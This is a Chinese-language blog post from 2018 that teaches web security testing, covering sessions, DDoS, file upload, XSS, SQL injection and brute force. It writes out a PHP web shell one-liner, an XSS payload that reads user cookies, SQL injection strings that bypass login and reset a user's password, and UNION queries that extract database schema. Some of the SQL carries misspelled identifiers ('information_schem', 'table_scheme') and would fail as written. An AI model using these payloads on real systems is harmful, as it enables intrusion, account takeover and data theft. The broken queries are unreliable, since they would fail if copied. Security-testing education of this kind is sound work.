Web安全性測試

showgea發表於2018-12-04

一、認證與授權

1、認證  即登入功能正常

2、許可權  每個使用者擁有正確的許可權

3、避免未經授權的頁面可以直接訪問,通過認證和許可權(Session),對每個頁面有一個判斷。例如在知道一個頁面的絕對url地址後,該頁面有個session變數叫login-in,如果login-in為False時訪問該頁面跳轉到登入頁面,為True可正常訪問。

4、在手動進行安全測試時,對所有url地址在不登入時直接訪問

二、Session與Cookie

1、避免儲存敏感資訊到cookie檔案中。如使用者名稱、密碼

2、作用域  不同應用系統不同作用域。下圖中為單個應用系統,Path對應的是這個cookie的作用域,斜槓表示根目錄,即該條cookeie作用域為整個應用系統。

Set-Cookie: access-token=LluyJIfAggsBH_woZgQAledLq3ZJzNwOD501WuvHNdjV5JthEWw; Path=/

三、DDOS拒絕服務攻擊

1、向伺服器瘋狂傳送請求,導致伺服器崩潰,無法進行正常處理

2、肉雞  遠端控制多臺電腦同時向伺服器發請求

3、攻擊聯盟  與肉雞同樣的道理,達到分散式效果。由於請求都是真實的,但是請求量過大導致伺服器崩潰。伺服器無法通過禁用IP、防火牆來限制,最好的解決方式,增加伺服器資源。

4、利用TCP建立連線的規則  TCP建立連線需要經歷三次捂手的過程,簡單描述為:①C-->S ② S-->C ③C-->S  如果三次握手成功則會建立穩定的TCP連線。根據這種規則,客戶端模擬一個不存在IP地址向伺服器傳送TCP連線的請求,服務端在向客戶端發起第二次握手時由於找不到IP地址,連線資源一直處於等待狀態。連線數量過大時會導致伺服器資源崩潰。

四、檔案上傳漏洞

1、檔案上傳的過濾:①通過字尾名過濾;②通過二進位制來判斷檔案型別(防止修改字尾名);

2、修改伺服器核心引數,禁止指令碼引擎執行系統命令;

3、<?php system($_GET['cmd']); ?>

將該命令寫一個php檔案並上傳,上傳後直接點選php檔案,如果在windows,http://127.0.0.1:8080/?cmd=dir 顯示當前目錄。如果不做限制,那麼就能執行任意命令。

五、XSS跨站攻擊

1、什麼是跨站攻擊:XSS攻擊全稱跨站指令碼攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS,XSS是一種在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。

2、如何寫XSS指令碼  對所有輸入框做校驗。

<input type="button" value="點選" οnclick="alert('你好')" />以上一行程式碼在輸入框輸入並提交成功後,如果頁面出現一個可點選按鈕,表示沒有對輸入內容進行過濾,存在安全問題。

3、獲取使用者cookie

在將程式碼修改為下列一行後(在頁面展示為可點選美女圖片),其他使用者在點選後,就直接能獲取到使用者cookie

<img src="http://www.win4000.com/meinv165398.html" οnclick="document.getElementById('kw').value=document.cookie">

六、SQL隱碼攻擊

1、最通用一個攻擊手段,用於關係型資料庫

2、通過SQL隱碼攻擊獲取伺服器端資料庫的內容

3、通過SQL隱碼攻擊修改資料庫的內容

4、php, asp, jsp, mysql, sqlserver, oracle, access都有不同的攻擊方式

登入SQL隱碼攻擊舉例:

在輸入使用者名稱密碼後,一般系統會去資料庫匹配校驗,校驗的可能sql猜想如下:

select * from user where username=‘$username’ and password=‘$password’

select username,  password from user where username=‘$username’

if  (count() == 1)

        if (password=$password)

                登入成功

如果為第一種最不安全的匹配方式,修改使用者名稱:

$username=x' or userid=1 # '

替換第一條的username後語句變為:

select * from user where username=‘x' or userid=1 # ' and password=$password

#會將後面的password校驗直接註釋掉

修改使用者密碼:

$username=x' ; update user set password='123456' where userid=1 #' 

替換第一條的username後語句變為:

select * from user where username=‘x' ; update user set password='123456' where userid=1 #' ’ and password=‘$password’

如果頁面使用者名稱輸入框限制了使用者輸入長度,可使用工具跳過頁面校驗。

如果伺服器端也沒有進行校驗,此時會更新userid=1的密碼為123456。請求完成後,在頁面使用者名稱輸入框輸入x' or userid=1 # ',密碼輸入:123456,點選登入,如果登入成功,表示密碼修改成功。如果沒有登入成功, 可能的原因:①表名user猜錯;②列名password、userid其中一個或兩個猜錯;③密碼以加密儲存。

對①②中情況,只能進行多次嘗試,對③,先對123456進行MD5加密後重新執行語句,然後再嘗試:在頁面使用者名稱輸入框輸入x' or userid=1 # ',密碼輸入:123456,點選登入,如果登入成功,表示密碼修改成功。

實現登入SQL隱碼攻擊條件:

1、伺服器端沒有對輸入長度進行驗證

2、需要對錶名、列名、加密方式進行猜錯(對自身系統,可直接檢視)

利用url地址引數進行SQL隱碼攻擊:

如:http://localhost/phpwind/read.php?tid=9527

後端查詢該條內容可能方式:select * from thread  where tid=9527

通過以下三種方式進行SQL隱碼攻擊試探:

  1. tid=9527'  
  2. tid=9527 and 1=2
  3. tid=9527 order by 10

如果以上三種試探頁面返回對應SQL查詢結果,則存在SQL隱碼攻擊漏洞。使用以下方式獲取資料庫表名和列名:

select * from thread  where tid=9527 and 1=2 union select 1,2,3,4,5,6,7,8,9

上一條SQL分兩個查詢,union之前的查詢結果列的數量需要和union之後查詢的數量(9)相等。執行後,會在頁面顯示出可執行的其中一列的結果。在能顯示出查詢結果的列,輸入:database()、user()獲取資料庫名、使用者名稱。

如果列1為能顯示查詢結果的列,SQL如下:

select * from thread  where tid=9527 and 1=2 union select database(),2,3,4,5,6,7,8,9   查詢出資料庫名:learn

select * from thread  where tid=9527 and 1=2 union select user(),2,3,4,5,6,7,8,9   查詢出使用者名稱

select * from thread  where tid=9527 and 1=2 union select table_name,2,3,4,5,6,7,8,9 from information_schem.tables where table_scheme='learn'  limit 1,1(limit 1,1表示從第2條開始顯示,一共只顯示1條)    獲取表名:user

select * from thread  where tid=9527 and 1=2 union select column_name,2,3,4,5,6,7,8,9 from information_schem.columns where table_scheme='learn'  and table_name='user' limit 1,1       獲取user表的列名

到這一步,已經可以把資料庫的所有資料抓取下來了。

七、暴力破解

顧名思義,暴力破解的原理就是使用攻擊者自己的使用者名稱和密碼字典,一個一個去列舉,嘗試是否能夠登入。因為理論上來說,只要字典足夠龐大,列舉總是能夠成功的!

網上百度安全測試 暴力破解,基本都是Burp Suite的教程。

相關文章